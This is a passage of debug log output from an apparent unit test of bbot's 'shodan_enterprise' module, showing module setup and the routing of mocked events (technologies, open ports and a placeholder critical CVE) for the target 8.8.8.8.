installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:05:19,901 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:05:19,902 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:05:19,970 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:05:19,971 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:05:19,971 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:05:19,972 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:05:19,972 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:05:19,972 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:05:19,973 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:05:19,973 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:05:19,973 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:05:19,974 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:05:19,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:05:19,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:05:19,975 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:05:19,976 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:05:19,976 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:05:19,977 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:05:19,978 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:05:19,978 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:05:19,978 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:05:19,979 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:05:19,980 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:05:19,980 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:05:19,980 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:05:19,980 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:05:20,062 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_ex9dqipr03 +2026-03-02 09:05:20,062 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:05:20,130 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:05:20,130 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:05:20,130 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:05:20,131 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:05:20,232 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:05:20,233 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:05:20,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:05:20,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-02 09:05:20,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:05:20,236 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:05:20,236 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:05:20,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,237 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:05:20,238 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:05:20,238 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,238 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:05:20,239 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,239 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:05:20,240 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:05:20,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,243 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:05:20,243 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,244 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:05:20,245 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:05:20,245 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:05:20,245 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:05:20,246 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,247 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:05:20,331 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:05:20,332 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:b466938e42736b893524384e4f7d3ee5298527a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:05:20,333 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:05:20,333 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:05:20,339 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,340 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,341 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,341 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,342 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,343 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,343 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,346 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because event was already emitted by its module +2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,347 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,348 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,348 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,350 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,350 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,351 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:05:20,351 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,351 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check +2026-03-02 09:05:20,352 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,352 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,353 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check +2026-03-02 09:05:20,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,354 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check +2026-03-02 09:05:20,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,355 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,356 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,356 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:05:20,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,357 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,358 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) passed post-check +2026-03-02 09:05:20,358 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,358 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:05:20,358 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:05:20,359 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:05:20,359 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) passed post-check +2026-03-02 09:05:20,359 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-crypto'}) +2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:05:20,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:51", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:05:20,360 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'web-servers', 'in-scope'}) +2026-03-02 09:05:20,361 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:05:20,361 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:05:20,361 [DEBUG] 